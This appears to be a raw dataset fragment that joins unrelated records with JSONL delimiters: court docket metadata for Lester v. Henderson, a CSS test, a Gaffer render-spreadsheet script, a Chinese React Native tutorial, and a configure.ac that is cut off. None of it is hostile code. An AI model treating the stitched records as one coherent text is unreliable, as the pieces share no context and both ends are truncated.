http://www.gpo.gov/fdsys/granule/USCOURTS-gamd-3_07-cv-00033/USCOURTS-gamd-3_07-cv-00033-0/content-detail.html\n http://www.gpo.gov/fdsys/pkg/USCOURTS-gamd-3_07-cv-00033/pdf/USCOURTS-gamd-3_07-cv-00033-0.pdf\n\n \n USCOURTS 3:07-cv-00033; Lester v. Henderson; \n United States District Court Middle District of Georgia\n Georgia\n USCOURTS-gamd-3_07-cv-00033-0\n 0\n 2007-07-23\n ORDER denying 12 Motion for Reconsideration and denying 19 Motion to Appoint Counsel. Ordered by Judge Claude W. Hicks Jr. on 7/23/07. (CWH)\n\n\n\n \n Lester v. Henderson\n RECOMMENDATION to grant 14 MOTION to Dismiss Petition as Untimely filed by Tony Henderson. Objections to R&R due by 1/3/2008. Ordered by Judge Claude W. Hicks Jr. on 12/11/07. (CWH)\n 1\n\n \n 2007-12-11\n\n \n D09002ee1812caf4e\n\n http://www.gpo.gov/fdsys/granule/USCOURTS-gamd-3_07-cv-00033/USCOURTS-gamd-3_07-cv-00033-1\n gamd-3_07-cv-00033_1.pdf\n \n http://www.gpo.gov/fdsys/granule/USCOURTS-gamd-3_07-cv-00033/USCOURTS-gamd-3_07-cv-00033-1/content-detail.html\n http://www.gpo.gov/fdsys/pkg/USCOURTS-gamd-3_07-cv-00033/pdf/USCOURTS-gamd-3_07-cv-00033-1.pdf\n\n \n USCOURTS 3:07-cv-00033; Lester v. Henderson; \n United States District Court Middle District of Georgia\n Georgia\n USCOURTS-gamd-3_07-cv-00033-1\n 1\n 2007-12-11\n RECOMMENDATION to grant 14 MOTION to Dismiss Petition as Untimely filed by Tony Henderson. Objections to R&R due by 1/3/2008. Ordered by Judge Claude W. Hicks Jr. on 12/11/07. (CWH)\n\n\n\n \n Lester v. Henderson\n ORDER granting 14 Motion to Dismiss; adopting Report and Recommendations re 22 Report and Recommendations. Signed by Judge Clay D. Land on 1/28/2008. (ggs)\n 2\n\n \n 2008-01-28\n\n \n D09002ee1812caed4\n\n http://www.gpo.gov/fdsys/granule/USCOURTS-gamd-3_07-cv-00033/USCOURTS-gamd-3_07-cv-00033-2\n gamd-3_07-cv-00033_2.pdf\n \n http://www.gpo.gov/fdsys/granule/USCOURTS-gamd-3_07-cv-00033/USCOURTS-gamd-3_07-cv-00033-2/content-detail.html\n http://www.gpo.gov/fdsys/pkg/USCOURTS-gamd-3_07-cv-00033/pdf/USCOURTS-gamd-3_07-cv-00033-2.pdf\n\n \n USCOURTS 3:07-cv-00033; Lester v. Henderson; \n United States District Court Middle District of Georgia\n Georgia\n USCOURTS-gamd-3_07-cv-00033-2\n 2\n 2008-01-28\n ORDER granting 14 Motion to Dismiss; adopting Report and Recommendations re 22 Report and Recommendations. Signed by Judge Clay D. Land on 1/28/2008. (ggs)\n\n\n"} +{"text": "import { IExpectOpts } from '../types';\n\nexport default ({ indexCSS }: IExpectOpts) => {\n expect(indexCSS).toContain(`color: green;`);\n}\n"} +{"text": "import Gaffer\nimport GafferAppleseed\nimport GafferImage\nimport GafferScene\nimport IECore\nimport imath\n\nGaffer.Metadata.registerValue( parent, \"serialiser:milestoneVersion\", 0, persistent=False )\nGaffer.Metadata.registerValue( parent, \"serialiser:majorVersion\", 57, persistent=False )\nGaffer.Metadata.registerValue( parent, \"serialiser:minorVersion\", 4, persistent=False )\nGaffer.Metadata.registerValue( parent, \"serialiser:patchVersion\", 0, persistent=False )\n\n__children = {}\n\nparent[\"variables\"].addChild( Gaffer.NameValuePlug( \"image:catalogue:port\", Gaffer.IntPlug( \"value\", defaultValue = 0, flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ), \"imageCataloguePort\", Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic ) )\nparent[\"variables\"].addChild( Gaffer.NameValuePlug( \"project:name\", Gaffer.StringPlug( \"value\", defaultValue = 'default', flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ), \"projectName\", Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic ) )\nparent[\"variables\"].addChild( Gaffer.NameValuePlug( \"project:rootDirectory\", Gaffer.StringPlug( \"value\", defaultValue = '$HOME/gaffer/projects/${project:name}', flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ), \"projectRootDirectory\", Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic ) )\nparent[\"variables\"].addChild( Gaffer.NameValuePlug( \"\", Gaffer.StringPlug( \"value\", defaultValue = '', flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ), True, \"member1\", Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic ) )\n__children[\"defaultFormat\"] = GafferImage.FormatPlug( \"defaultFormat\", defaultValue = GafferImage.Format( 1920, 1080, 1.000 ), flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, )\nparent.addChild( __children[\"defaultFormat\"] )\n__children[\"AppleseedOptions\"] = GafferAppleseed.AppleseedOptions( \"AppleseedOptions\" )\nparent.addChild( __children[\"AppleseedOptions\"] )\n__children[\"AppleseedOptions\"].addChild( Gaffer.V2fPlug( \"__uiPosition\", defaultValue = imath.V2f( 0, 0 ), flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ) )\n__children[\"Spreadsheet_RenderOptions\"] = Gaffer.Spreadsheet( \"Spreadsheet_RenderOptions\" )\nparent.addChild( __children[\"Spreadsheet_RenderOptions\"] )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"].addColumn( Gaffer.NameValuePlug( \"as:cfg:adaptive_tile_renderer:max_samples\", Gaffer.IntPlug( \"value\", defaultValue = 32, ), False, \"maxAASamples\", Gaffer.Plug.Flags.Default ), adoptEnabledPlug = True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"].addColumn( Gaffer.NameValuePlug( \"render:overscan\", Gaffer.BoolPlug( \"value\", defaultValue = False, ), False, \"overscan\", Gaffer.Plug.Flags.Default ), adoptEnabledPlug = True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"].addColumn( Gaffer.NameValuePlug( \"render:overscanTop\", Gaffer.FloatPlug( \"value\", defaultValue = 0.10000000149011612, minValue = 0.0, maxValue = 1.0, ), False, \"overscanTop\", Gaffer.Plug.Flags.Default ), adoptEnabledPlug = True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"].addColumn( Gaffer.NameValuePlug( \"render:overscanBottom\", Gaffer.FloatPlug( \"value\", defaultValue = 0.10000000149011612, minValue = 0.0, maxValue = 1.0, ), False, \"overscanBottom\", Gaffer.Plug.Flags.Default ), adoptEnabledPlug = True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"].addColumn( Gaffer.NameValuePlug( \"render:overscanLeft\", Gaffer.FloatPlug( \"value\", defaultValue = 0.10000000149011612, minValue = 0.0, maxValue = 1.0, ), False, \"overscanLeft\", Gaffer.Plug.Flags.Default ), adoptEnabledPlug = True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"].addColumn( Gaffer.NameValuePlug( \"render:overscanRight\", Gaffer.FloatPlug( \"value\", defaultValue = 0.10000000149011612, minValue = 0.0, maxValue = 1.0, ), False, \"overscanRight\", Gaffer.Plug.Flags.Default ), adoptEnabledPlug = True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"].addRows( 4 )\n__children[\"Spreadsheet_RenderOptions\"].addChild( Gaffer.V2fPlug( \"__uiPosition\", defaultValue = imath.V2f( 0, 0 ), flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ) )\n__children[\"StandardOptions\"] = GafferScene.StandardOptions( \"StandardOptions\" )\nparent.addChild( __children[\"StandardOptions\"] )\n__children[\"StandardOptions\"].addChild( Gaffer.V2fPlug( \"__uiPosition\", defaultValue = imath.V2f( 0, 0 ), flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ) )\n__children[\"Backdrop\"] = Gaffer.Backdrop( \"Backdrop\" )\nparent.addChild( __children[\"Backdrop\"] )\n__children[\"Backdrop\"].addChild( Gaffer.Box2fPlug( \"__uiBound\", defaultValue = imath.Box2f( imath.V2f( -10, -10 ), imath.V2f( 10, 10 ) ), flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ) )\n__children[\"Backdrop\"].addChild( Gaffer.V2fPlug( \"__uiPosition\", defaultValue = imath.V2f( 0, 0 ), flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ) )\n__children[\"Backdrop1\"] = Gaffer.Backdrop( \"Backdrop1\" )\nparent.addChild( __children[\"Backdrop1\"] )\n__children[\"Backdrop1\"].addChild( Gaffer.Box2fPlug( \"__uiBound\", defaultValue = imath.Box2f( imath.V2f( -10, -10 ), imath.V2f( 10, 10 ) ), flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ) )\n__children[\"Backdrop1\"].addChild( Gaffer.V2fPlug( \"__uiPosition\", defaultValue = imath.V2f( 0, 0 ), flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ) )\n__children[\"Backdrop2\"] = Gaffer.Backdrop( \"Backdrop2\" )\nparent.addChild( __children[\"Backdrop2\"] )\n__children[\"Backdrop2\"].addChild( Gaffer.Box2fPlug( \"__uiBound\", defaultValue = imath.Box2f( imath.V2f( -10, -10 ), imath.V2f( 10, 10 ) ), flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ) )\n__children[\"Backdrop2\"].addChild( Gaffer.V2fPlug( \"__uiPosition\", defaultValue = imath.V2f( 0, 0 ), flags = Gaffer.Plug.Flags.Default | Gaffer.Plug.Flags.Dynamic, ) )\nparent[\"variables\"][\"imageCataloguePort\"][\"value\"].setValue( 58280 )\nparent[\"variables\"][\"member1\"][\"name\"].setValue( 'shot' )\nparent[\"variables\"][\"member1\"][\"value\"].setValue( '1' )\nGaffer.Metadata.registerValue( parent[\"variables\"][\"imageCataloguePort\"], 'readOnly', True )\nGaffer.Metadata.registerValue( parent[\"variables\"][\"projectName\"][\"name\"], 'readOnly', True )\nGaffer.Metadata.registerValue( parent[\"variables\"][\"projectRootDirectory\"][\"name\"], 'readOnly', True )\n__children[\"AppleseedOptions\"][\"in\"].setInput( __children[\"StandardOptions\"][\"out\"] )\n__children[\"AppleseedOptions\"][\"options\"][\"maxAASamples\"].setInput( __children[\"Spreadsheet_RenderOptions\"][\"out\"][\"maxAASamples\"] )\n__children[\"AppleseedOptions\"][\"__uiPosition\"].setValue( imath.V2f( 13.1617184, -3.34758711 ) )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"], 'nodeGadget:type', 'GafferUI::StandardNodeGadget' )\n__children[\"Spreadsheet_RenderOptions\"][\"selector\"].setValue( '${shot}' )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"maxAASamples\"][\"value\"][\"enabled\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscan\"][\"value\"][\"value\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscan\"][\"value\"][\"enabled\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanTop\"][\"value\"][\"enabled\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanBottom\"][\"value\"][\"enabled\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanLeft\"][\"value\"][\"enabled\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanRight\"][\"value\"][\"enabled\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][1][\"name\"].setValue( '1' )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][1][\"cells\"][\"maxAASamples\"][\"value\"][\"value\"].setValue( 42 )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][1][\"cells\"][\"maxAASamples\"][\"value\"][\"enabled\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][2][\"name\"].setValue( '2A' )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][2][\"cells\"][\"overscanTop\"][\"value\"][\"value\"].setValue( 0.05000000074505806 )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][2][\"cells\"][\"overscanTop\"][\"value\"][\"enabled\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][2][\"cells\"][\"overscanBottom\"][\"value\"][\"value\"].setValue( 0.05000000074505806 )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][2][\"cells\"][\"overscanBottom\"][\"value\"][\"enabled\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][2][\"cells\"][\"overscanLeft\"][\"value\"][\"value\"].setValue( 0.05000000074505806 )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][2][\"cells\"][\"overscanLeft\"][\"value\"][\"enabled\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][2][\"cells\"][\"overscanRight\"][\"value\"][\"value\"].setValue( 0.05000000074505806 )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][2][\"cells\"][\"overscanRight\"][\"value\"][\"enabled\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][3][\"name\"].setValue( '2B' )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][3][\"cells\"][\"maxAASamples\"][\"value\"][\"value\"].setValue( 36 )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][3][\"cells\"][\"maxAASamples\"][\"value\"][\"enabled\"].setValue( True )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][4][\"name\"].setValue( '2*' )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][4][\"cells\"][\"maxAASamples\"][\"value\"][\"value\"].setValue( 34 )\n__children[\"Spreadsheet_RenderOptions\"][\"rows\"][4][\"cells\"][\"maxAASamples\"][\"value\"][\"enabled\"].setValue( True )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"maxAASamples\"], 'spreadsheet:columnLabel', 'AA' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"maxAASamples\"], 'spreadsheet:columnWidth', 23 )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"maxAASamples\"][\"value\"], 'spreadsheet:plugMenu:includeAsAncestor', True )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"maxAASamples\"][\"value\"], 'spreadsheet:plugMenu:ancestorLabel', 'Value and Switch' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"maxAASamples\"][\"value\"], 'description', 'Maximum number of anti-aliasing samples (0 for unlimited)' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"maxAASamples\"][\"value\"], 'label', 'Max Samples' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscan\"], 'spreadsheet:columnWidth', 57 )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscan\"][\"value\"], 'spreadsheet:plugMenu:includeAsAncestor', True )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscan\"][\"value\"], 'spreadsheet:plugMenu:ancestorLabel', 'Value and Switch' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscan\"][\"value\"], 'description', 'Whether to enable overscan, which adds extra pixels to the\\nsides of the rendered image.\\n\\nOverscan can be useful when camera shake or blur will be added\\nas a post-process. This plug just enables overscan as a whole \\xe2\\x80\\x93\\nuse the _Overscan Top_, _Overscan Bottom_, _Overscan Left_ and\\n_Overscan Right_ plugs to specify the amount of overscan on\\neach side of the image.' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanTop\"], 'spreadsheet:columnWidth', 79 )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanTop\"][\"value\"], 'spreadsheet:plugMenu:includeAsAncestor', True )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanTop\"][\"value\"], 'spreadsheet:plugMenu:ancestorLabel', 'Value and Switch' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanTop\"][\"value\"], 'description', 'The amount of overscan at the top of the image. Specified as a\\n0-1 proportion of the original image height.' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanTop\"][\"value\"][\"value\"], 'nodule:color', imath.Color3f( 0.246700004, 0.376199991, 0.469999999 ) )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanBottom\"], 'spreadsheet:columnWidth', 97 )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanBottom\"][\"value\"], 'spreadsheet:plugMenu:includeAsAncestor', True )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanBottom\"][\"value\"], 'spreadsheet:plugMenu:ancestorLabel', 'Value and Switch' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanBottom\"][\"value\"], 'description', 'The amount of overscan at the bottom of the image. Specified as\\na 0-1 proportion of the original image height.' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanBottom\"][\"value\"][\"value\"], 'nodule:color', imath.Color3f( 0.246700004, 0.376199991, 0.469999999 ) )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanLeft\"], 'spreadsheet:columnWidth', 80 )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanLeft\"][\"value\"], 'spreadsheet:plugMenu:includeAsAncestor', True )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanLeft\"][\"value\"], 'spreadsheet:plugMenu:ancestorLabel', 'Value and Switch' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanLeft\"][\"value\"], 'description', 'The amount of overscan at the left of the image. Specified as a\\n0-1 proportion of the original image width.' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanLeft\"][\"value\"][\"value\"], 'nodule:color', imath.Color3f( 0.246700004, 0.376199991, 0.469999999 ) )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanRight\"], 'spreadsheet:columnWidth', 87 )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanRight\"][\"value\"], 'spreadsheet:plugMenu:includeAsAncestor', True )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanRight\"][\"value\"], 'spreadsheet:plugMenu:ancestorLabel', 'Value and Switch' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanRight\"][\"value\"], 'description', 'The amount of overscan at the right of the image. Specified as\\na 0-1 proportion of the original image width.' )\nGaffer.Metadata.registerValue( __children[\"Spreadsheet_RenderOptions\"][\"rows\"][0][\"cells\"][\"overscanRight\"][\"value\"][\"value\"], 'nodule:color', imath.Color3f( 0.246700004, 0.376199991, 0.469999999 ) )\n__children[\"Spreadsheet_RenderOptions\"][\"__uiPosition\"].setValue( imath.V2f( -5.58727455, -3.34842491 ) )\n__children[\"StandardOptions\"][\"options\"][\"overscan\"].setInput( __children[\"Spreadsheet_RenderOptions\"][\"out\"][\"overscan\"] )\n__children[\"StandardOptions\"][\"options\"][\"overscanTop\"].setInput( __children[\"Spreadsheet_RenderOptions\"][\"out\"][\"overscanTop\"] )\n__children[\"StandardOptions\"][\"options\"][\"overscanBottom\"].setInput( __children[\"Spreadsheet_RenderOptions\"][\"out\"][\"overscanBottom\"] )\n__children[\"StandardOptions\"][\"options\"][\"overscanLeft\"].setInput( __children[\"Spreadsheet_RenderOptions\"][\"out\"][\"overscanLeft\"] )\n__children[\"StandardOptions\"][\"options\"][\"overscanRight\"].setInput( __children[\"Spreadsheet_RenderOptions\"][\"out\"][\"overscanRight\"] )\n__children[\"StandardOptions\"][\"__uiPosition\"].setValue( imath.V2f( 13.1617184, 4.81647587 ) )\n__children[\"Backdrop\"][\"title\"].setValue( '' )\n__children[\"Backdrop\"][\"__uiBound\"].setValue( imath.Box2f( imath.V2f( -9.84218407, -40.1002464 ), imath.V2f( 39.9908371, 10 ) ) )\n__children[\"Backdrop\"][\"__uiPosition\"].setValue( imath.V2f( -11.0611553, 25.5103664 ) )\n__children[\"Backdrop1\"][\"title\"].setValue( 'Example: Multi-shot Render Spreadsheet' )\n__children[\"Backdrop1\"][\"description\"].setValue( \"In this example, the graph is structured to handle the beauty render of multiple shots, each with slight differences in render settings. A Spreadsheet node drives the per-shot variations by modifying the renderer's Options nodes in response to different values of a `\\\\${shot}` Context Variable.\\n\\nSince this is a render graph, it's responsible for all render options, and should account for any default options should `\\\\${shot}` be undefined or have an unanticipated value. The spreadsheet's Default row defines the fallback, or default values of the globals.\" )\n__children[\"Backdrop1\"][\"__uiBound\"].setValue( imath.Box2f( imath.V2f( -10, -18.1947308 ), imath.V2f( 30, 10 ) ) )\n__children[\"Backdrop1\"][\"__uiPosition\"].setValue( imath.V2f( -6.47388268, 25.3601151 ) )\n__children[\"Backdrop2\"][\"title\"].setValue( 'Global Context Variables' )\n__children[\"Backdrop2\"][\"description\"].setValue( 'Since the custom `\\\\${shot}` Context Variable needs to be available at every node in the graph, it must be added as a global Context Variable. These can be declared and assigned from the Settings window: File > Settings. In it, under the Variables tab, you will find some default global variables, but you can add new ones by clicking the plus button and giving them names and values. All of the standard plug types are supported: string, int, float, vector, etc.\\n\\nFor the purposes of this example, the value of `\\\\${shot}` is `1`. When this graph is executed, the dispatcher would override this value to the actual name of the shot being rendered.' )\n__children[\"Backdrop2\"][\"__uiBound\"].setValue( imath.Box2f( imath.V2f( -10, -10 ), imath.V2f( 30, 17.6528759 ) ) )\n__children[\"Backdrop2\"][\"__uiPosition\"].setValue( imath.V2f( 40.6892357, -4.37028837 ) )\n\n\ndel __children\n\n"} +{"text": "React Native看起来很像React,只不过其基础组件是原生组件而非web组件。要理解React Native应用的基本结构,首先需要了解一些基本的React的概念,比如JSX语法、组件、`state`状态以及`props`属性。如果你已经了解了React,那么还需要掌握一些React Native特有的知识,比如原生组件的使用。这篇教程可以供任何基础的读者学习,不管你是否有React方面的经验。\n\n让我们开始吧!\n\n## Hello World\n\n根据历史悠久的“传统”,我们也来写一个“Hello World”:\n\n```ReactNativeWebPlayer\nimport React, { Component } from 'react';\nimport { AppRegistry, Text } from 'react-native';\n\nclass HelloWorldApp extends Component {\n render() {\n return (\n Hello world!\n );\n }\n}\n\n// 注意,这里用引号括起来的'HelloWorldApp'必须和你init创建的项目名一致\nAppRegistry.registerComponent('HelloWorldApp', () => HelloWorldApp);\n```\n\n你可以新建一个项目,然后用上面的代码覆盖你的`index.ios.js`或是`index.android.js` 文件,然后运行看看。\n\n## 那这段代码是什么意思呢?\n\n初看这段代码,可能觉得并不像JavaScript——没错,这是“未来”的JavaScript. \n\n首先你需要了解ES2015 (也叫作ES6)——这是一套对JavaScript的语法改进的官方标准。但是这套标准目前还没有在所有的浏览器上完整实现,所以目前而言web开发中还很少使用。React Native内置了对ES2015标准的支持,你可以放心使用而无需担心兼容性问题。上面的示例代码中的`import`、`from`、`class`、`extends`、以及`() =>`箭头函数等新语法都是ES2015中的特性。如果你不熟悉ES2015的话,可以看看[阮一峰老师的书](http://es6.ruanyifeng.com/),还有论坛的这篇[总结](http://bbs.reactnative.cn/topic/15)。\n\n示例中的这一行`Hello world!`恐怕很多人看起来也觉得陌生。这叫做JSX——是一种在JavaScript中嵌入XML结构的语法。很多传统的应用框架会设计自有的模板语法,让你在结构标记中嵌入代码。React反其道而行之,设计的JSX语法却是让你在代码中嵌入结构标记。初看起来,这种写法很像web上的HTML,只不过使用的并不是web上常见的标签如`
    `或是``等,这里我们使用的是React Native的组件。上面的示例代码中,使用的是内置的``组件,它专门用来显示文本。\n\n## 组件与AppRegistry\n\n上面的代码定义了一个名为`HelloWorldApp`的新的`组件(Component)`,并且使用了名为`AppRegistry`的内置模块进行了“注册”操作。你在编写React Native应用时,肯定会写出很多新的组件。而一个App的最终界面,其实也就是各式各样的组件的组合。组件本身结构可以非常简单——唯一必须的就是在`render`方法中返回一些用于渲染结构的JSX语句。\n\n`AppRegistry`模块则是用来告知React Native哪一个组件被注册为整个应用的根容器。你无需在此深究,因为一般在整个应用里`AppRegistry.registerComponent`这个方法只会调用一次。上面的代码里已经包含了具体的用法,你只需整个复制到`index.ios.js`或是`index.android.js`文件中即可运行。\n\n## 这个示例弱爆了!\n\n……是的。如果想做些更有意思的东西,请[接着学习Props属性](props.html)。或者可以看看一个[稍微复杂些的“电影列表”例子](sample-application-movies.html)。\n"} +{"text": "dnl * Copyright 2011-2016 Luke Dashjr\ndnl * Copyright 2011-2013 Con Kolivas\ndnl * Copyright 2010-2011 Jeff Garzik\ndnl * Copyright 2012 Xiangfu\ndnl * Copyright 2011 Rusty Russell\ndnl * Copyright 2011 Mark Crichton\ndnl * Copyright 2013-2014 Nate Woolls\ndnl *\ndnl * This program is free software; you can redistribute it and/or modify it\ndnl * under the terms of the GNU General Public License as published by the Free\ndnl * Software Foundation; either version 3 of the License, or (at your option)\ndnl * any later version. See COPYING for more details.\n\n##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##\n##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##\nm4_define([v_maj], [5])\nm4_define([v_min], [5])\nm4_define([v_mic], [0])\n##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##\nm4_define([v_ver], [v_maj.v_min.v_mic])\nm4_define([lt_rev], m4_eval(v_maj + v_min))\nm4_define([lt_cur], v_mic)\nm4_define([lt_age], v_min)\n##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##\n##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##\n\nAC_INIT([bfgminer], [v_ver], [luke-jr+bfgminer@utopios.org])\n\nAC_PREREQ([2.59c])\nAC_CANONICAL_SYSTEM\nAC_CONFIG_MACRO_DIR([m4])\nAC_CONFIG_SRCDIR([miner.c])\nAC_CONFIG_HEADERS([config.h])\n\nAH_BOTTOM([\n#ifdef WIN32\n#include \"winhacks.h\"\n#endif\n])\n\nAM_INIT_AUTOMAKE([foreign subdir-objects])\nm4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES([yes])])\nAC_USE_SYSTEM_EXTENSIONS\n\n##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##\n##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##\nm4_ifdef([v_rev], , [m4_define([v_rev], [0])])\nm4_ifdef([v_rel], , [m4_define([v_rel], [])])\nAC_DEFINE_UNQUOTED(CGMINER_MAJOR_VERSION, [v_maj], [Major version])\nAC_DEFINE_UNQUOTED(CGMINER_MINOR_VERSION, [v_min], [Minor version])\nAC_DEFINE_UNQUOTED(CGMINER_MINOR_SUBVERSION, [v_mic], [Micro version])\nversion_info=\"lt_rev:lt_cur:lt_age\"\nrelease_info=\"v_rel\"\nAC_SUBST(version_info)\nAC_SUBST(release_info)\n##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##\n##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##\nVMAJ=v_maj\nAC_SUBST(VMAJ)\n\nAC_CANONICAL_BUILD\nAC_CANONICAL_HOST\n\ndnl Make sure anyone changing configure.ac/Makefile.am has a clue\nAM_MAINTAINER_MODE([enable])\n\ndnl Checks for programs\nAC_PROG_CC_C99\ngl_EARLY\nAC_PROG_GCC_TRADITIONAL\nAM_PROG_CC_C_O\nAC_PROG_RANLIB\nAC_PROG_CPP\nAC_PROG_SED\n\ngl_INIT\n\nAC_SYS_LARGEFILE\n\ndnl Checks for header files.\nAC_HEADER_STDC\nAC_CHECK_HEADERS(syslog.h)\nAC_CHECK_HEADERS([sys/epoll.h])\nAC_CHECK_HEADERS([sys/mman.h])\nAC_CHECK_HEADERS([sys/prctl.h])\nAC_CHECK_HEADERS([sys/file.h])\nAC_CHECK_HEADERS([sys/termios.h])\nAC_CHECK_HEADERS([sys/unistd.h])\nAC_CHECK_HEADERS([linux/spi/spidev.h])\n\nAC_CHECK_MEMBER([struct i2c_msg.buf],[\n\ttrue\n],[\n\tdnl Note the member is different here to avoid caching screwing things 